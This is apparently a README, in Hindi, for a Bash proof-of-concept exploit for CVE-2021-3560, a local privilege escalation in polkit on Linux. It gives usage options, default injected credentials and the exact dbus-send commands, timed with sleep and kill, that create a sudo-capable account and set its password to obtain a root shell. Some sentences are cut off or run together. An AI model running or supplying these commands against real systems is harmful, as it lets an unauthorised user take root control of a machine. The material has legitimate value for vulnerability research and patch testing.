
स्वचालित Bash PoC CVE-2021-3560 polkit विशेषाधिकार वृद्धि के लिए। dbus समय हमले का शोषण करके एक sudo उपयोगकर्ता को इंजेक्ट करता है और कमजोर Linux वितरणों पर root शेल प्राप्त करता है।
यह केवल एक Bash PoC स्क्रिप्ट है, जो केविन बैकहाउस के ब्लॉग में उल्लिखित शोषण चरणों को स्वचालित करती है। इस भेद्यता के बारे में उनकी पोस्ट पढ़ें: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
प्रयोग:
./poc.sh
-h --help
-u=सम्मिलित करने के लिए कस्टम उपयोगकर्ता नाम दर्ज करें (वैकल्पिक)
-p=सम्मिलित करने के लिए कस्टम पासवर्ड दर्ज करें (वैकल्पिक)
-f=y, भेद्यता जाँच छोड़ने और शोषण को बलपूर्वक करने के लिए (वैकल्पिक)
-t=स्वचालित पहचान के बजाय कस्टम स्लीप टाइम दर्ज करें (वैकल्पिक)
समय दर्ज करने का प्रारूप: '-t=.004' या '-t=0.004' यदि आप स्लीप टाइम 0.004ms सेट करना चाहते हैं
नोट:
एक विकल्प निर्दिष्ट करने के बाद बराबर का चिह्न (=) अनिवार्य है।
यदि आप विकल्प निर्दिष्ट नहीं करते हैं, तो स्क्रिप्ट स्वचालित रूप से संभावित समय का पता लगाएगी और
उस समय का उपयोग करके एक नया उपयोगकर्ता सम्मिलित करने का प्रयास करेगी।
डिफ़ॉल्ट क्रेडेंशियल्स 'secnigma:secnigmaftw' हैं।
यदि शोषण सफलतापूर्वक चलता है, तो आप 'su - secnigma' का उपयोग करके लॉगिन कर सकते हैं
और 'sudo bash' का उपयोग करके एक रूट शेल प्राप्त कर सकते हैं
accountsservice और gnome-control-center स्थापित हैं, और इसमें polkit संस्करण 0.113 (या बाद का) या 0-105-26 (polkit का Debian फ़ोर्क) होना चाहिए।Ubuntu 20.04 पर polkit संस्करण 0-105-26 (polkit का Debian फ़ोर्क) और Centos 8 पर polkit संस्करण 0.115 के साथ किया गया था। यदि आप सुनिश्चित हैं कि आपका लक्ष्य भेद्य है, लेकिन शोषण की जाँच फ़ंक्शन विफल हो जाती है, तो सभी जाँचों को बायपास करने और शोषण को बलपूर्वक करने के लिए -f=y फ़्लैग का उपयोग करें।शोधकर्ता के ब्लॉग पर इस भेद्यता का विस्तृत विवरण और इसे मैन्युअल रूप से शोषित करने का PoC दिया गया है।
TL;DR नीचे दिया गया है:
polkit को एक dbus संदेश भेजकर इस भेद्यता का शोषण कर सकता है, लेकिन polkit द्वारा अनुरोध प्रसंस्करण के दौरान अचानक अनुरोध को बंद कर देता है। फिर हमलावर पिछले अनुरोध के अद्वितीय बस पहचानकर्ता के साथ दूसरा अनुरोध भेज सकता है, ताकि अनुरोध को UID 0 उर्फ root के रूप में निष्पादित किया जा सके।polkit में मौजूद है, क्योंकि यह एक बस पहचानकर्ता के साथ कनेक्शन के UID को, जो अब मौजूद नहीं है, UID 0 से अनुरोध के रूप में मानता है। इसका मतलब है कि यदि हम हमले को सही समय पर कर सकते हैं और अपने पहले अनुरोध को सही क्षण पर समाप्त कर सकते हैं, तो हम UID 0 उर्फ root के विशेषाधिकारों के साथ दूसरा अनुरोध कर सकते हैं।जैसा कि मैंने पहले कहा, यह सिर्फ एक bash स्क्रिप्ट है जो केविन बैकहाउस के PoC को स्वचालित करती है। मुख्य कमांड समान हैं; मैंने बस कुछ प्रारंभिक चरणों को स्वचालित किया है (जैसे समय सही करना, भेद्यता स्कैन करना, कस्टम क्रेडेंशियल्स सम्मिलित करना, सुंदर रंग प्रिंट करना आदि)।
यदि यह स्क्रिप्ट बिना किसी पैरामीटर के चलाई जाती है, तो इस स्क्रिप्ट का डिफ़ॉल्ट व्यवहार इस प्रकार है:
/etc/os-release फ़ाइल का उपयोग करके]accountservice और gnome-control-center की स्थापना की जाँच करें। [rhel/centos/fedora में, rpm -qa का उपयोग करता है और debian/ubuntu वितरणों में, यह dpkg -l का उपयोग करता है]।rhel,centos,fedora के लिए 0.113 (या बाद का) और Debian/Ubuntu के लिए 0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null जारी करके debus-send का उपयोग करके अनुरोध भेजने के लिए आवश्यक समय का पता लगाती है।su - <उपयोगकर्ता_नाम> का उपयोग करके खाते में लॉगिन कर सकते हैं, और फिर रूट शेल में जाने के लिए sudo bash दर्ज कर सकते हैं!Esc कुंजी दबाएं और स्क्रिप्ट को तुरंत समाप्त करने के लिए Ctrl+C दबाएं।$t) अनुरोध के लिए आवश्यक समय को 2 से विभाजित करके गणना की जाती है। ($t=अनुरोध के लिए आवश्यक समय/2) [awk का उपयोग करके गणना की गई]$t) की गणना के बाद, लक्ष्य में $username secnigma सम्मिलित करने का अनुरोध 20 बार दोहराया जाता है। bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma का उपयोग करके पाया गया], तो एक पासवर्ड हैश उत्पन्न किया जाता है [bash openssl passwd -5 `echo -n $password` का उपयोग करके]। ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!